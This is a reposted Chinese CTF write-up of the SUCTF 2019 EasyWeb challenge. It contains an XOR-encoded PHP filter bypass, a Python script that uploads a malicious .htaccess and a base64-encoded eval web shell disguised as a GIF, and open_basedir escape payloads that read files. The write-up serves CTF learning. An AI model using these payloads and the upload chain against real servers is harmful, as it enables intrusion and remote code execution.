[SUCTF 2019]EasyWeb

Posted joker-yan

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[SUCTF 2019]EasyWeb相关的知识,希望对你有一定的参考价值。


前言

学习完这道题,受教了~

往往直接给出源码的题目,知识量要求不是很广,但是要求学习精度要很高~


一、bypass

观察源码,发现这里的preg_match()函数运用得很严格,就是把所有的数字和字母都过滤了,而且还过滤了一些特殊字符~

可以尝试稍微fuzz一下可视字符,看看有哪些是可以使用的。

<?php 
	for($i=0;$i<128;$i++)
	{
		if(preg_match('/[\\x00- 0-9A-Za-z\\'"\\`~_&.,|=[\\x7F]+/i', chr($i)))
			continue;
		else
			echo (chr($i));
	}
?> 
结果:
!#$%()*+-/:;<>?@\\]^{} 

发现这一段限制了使用字符的种类不能超过'12'。

其中看到这里就可以大致了解到这是一个考点为“取反”、“异或”绕过类型

但是由于我们fuzz后得到的可视字符中没有“取反符号”——“~”

所以这是一个考察“异或bypass”的知识点。

所以这里我参考了别人的PHP脚本:

<?php
$l = "";
$r = "";
$argv = str_split("_GET"); //这里是要异或的字符串
var_dump( $argv);
for($i=0;$i<count($argv);$i++)
{   
    for($j=0;$j<255;$j++)
    {
        $k = chr($j)^chr(254);      //dechex(254) =fe    %fe是一个不可视的字符,一般过滤不到,dechex()是将十进制转为16进制
        if($k == $argv[$i]){
        	if($j<16){
        		$l .= "%fe";
                $r .= "%0" . dechex($j);
        		continue;
        	}
            $l .= "%fe";
            $r .= "%" . dechex($j);
            continue;
        }
    }
}
echo "\\{$l`$r\\}";   //这里不直接使用^是为了能正常输出显示
?>

得到:

\\{%fe%fe%fe%fe`%a1%b9%bb%aa\\}

我们修改一下关键部分:%fe%fe%fe%fe^%a1%b9%bb%aa

最后这里是可以相当于注入点

我们修改一下GET传参内容: 

?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=phpinfo

相当于

?_=${_GET}{%fe}();&%fe=phpinfo

相当于

?_=${_GET}{phpinfo}();

经过eval($hhh);

相当于eval(phpinfo());

这样就可以执行我们的函数了

注意:需要通过phpinfo()来发现当前工作的目录环境

这里为:/var/www/html

二、文件上传

之前都是有文件上传页面的,所以这次是我第一次使用脚本去上传文件~~(有点菜)

观察这一段代码,有三层的过滤:

第一层:过滤了含有字符串“ph”的文件名

第二层:过滤了开头部分“<?”

第三层:过滤非图片文件

解决方式:

一、使用.htaccess文件上传

因为使用.user.ini需要目录有.php文件,这里还不好判断

二、原本是打算使用<script>标签来绕过的,但是通过之前的phpinfo发现这PHP版本高于7.2了,所以这个标签被废除了。

这里是使用了base64编码来绕过的。(一会看了EXP就清楚了)

三、在文件头添加大小标识、或者使用图片头都可以

#define width 1000
#define height 1000

或者

GIF89a

这个get_the_flag()函数是用来给我们上传木马文件的,所以这里需要跟我们之前的bypass联动起来。

import requests
import base64

url="http://4051edd0-8f0a-4a0e-b2c0-45c0b74666cb.node4.buuoj.cn/"
first="?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag"

file_content='''
#define width 1000
#define height 1000
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_020598b5c37fc1206644e58debc8ecf2/get.jpg"
'''
file_all={'file':('.htaccess',file_content,'image/jpeg')}

response=requests.post(url=url+first,files=file_all)

print(response.text)  #成功上传了.htaccess文件,接下来就是木马文件了

file2_content=b"GIF89aaa" + base64.b64encode(b"<?php eval($_GET['hack']);?>")

file2_all={'file':('get.jpg',file2_content,'image/jpeg')}
response2=requests.post(url=url+first,files=file2_all)
print(response2.text)

结果:

通过“蚁剑”远程连接http://53470fe2-56c5-4d3f-8dc0-000d7638c5e1.node4.buuoj.cn:81/upload/tmp_020598b5c37fc1206644e58debc9ecf2/get.jpg

发现无法直接连接到目标服务器

 

通过大佬们的WP发现了open_basedir限制了我们访问的目录。

open_basedir知识点

修改脚本后,直接在脚本上获取目录信息

import requests
import base64

url="http://53470fe2-56c5-4d3f-8dc0-000d7638c5e1.node4.buuoj.cn:81/"
first="?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag"

file_content='''
#define width 1000
#define height 1000
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_020598b5c37fc1206644e58debc8ecf2/get.jpg"
'''
#或者resource=./get.jpg
file_all={'file':('.htaccess',file_content,'image/jpeg')}

response=requests.post(url=url+first,files=file_all)

print(response.text)  #成功上传了.htaccess文件,接下来就是木马文件了

file2_content=b"GIF89aaa" + base64.b64encode(b"<?php eval($_GET['hack']);?>")

file2_all={'file':('get.jpg',file2_content,'image/jpeg')}
response2=requests.post(url=url+first,files=file2_all)
print(response2.text)

#开始执行
cmd="?hack=chdir(%27img%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);var_dump(scandir('/'));"
end=requests.post(url=url+response2.text+cmd)
print(end.text)

结果是:

 

 再次修改脚本

import requests
import base64

url="http://53470fe2-56c5-4d3f-8dc0-000d7638c5e1.node4.buuoj.cn:81/"
first="?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag"

file_content='''
#define width 1000
#define height 1000
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_020598b5c37fc1206644e58debc8ecf2/get.jpg"
'''
#或者resource=./get.jpg
file_all={'file':('.htaccess',file_content,'image/jpeg')}

response=requests.post(url=url+first,files=file_all)

print(response.text)  #成功上传了.htaccess文件,接下来就是木马文件了

file2_content=b"GIF89aaa" + base64.b64encode(b"<?php eval($_GET['hack']);?>")

file2_all={'file':('get.jpg',file2_content,'image/jpeg')}
response2=requests.post(url=url+first,files=file2_all)
print(response2.text)

#开始执行
#cmd="?hack=chdir(%27img%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);var_dump(scandir('/'));"
cmd="?hack=chdir(%27img%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);echo file_get_contents('/THis_Is_tHe_F14g');"
end=requests.post(url=url+response2.text+cmd)
print(end.text)

结果是:

 完


总结

暑假还是要加把劲啊,这速度跟不上了~

以上是关于[SUCTF 2019]EasyWeb的主要内容,如果未能解决你的问题,请参考以下文章

[SUCTF 2019]EasyWeb

[SUCTF 2019]EasyWeb

[SUCTF 2019]Pythonginx

[SUCTF 2019]EasySQL

刷题记录:[SUCTF 2019]EasySQL (欠)

刷题记录:[SUCTF 2019]Pythonginx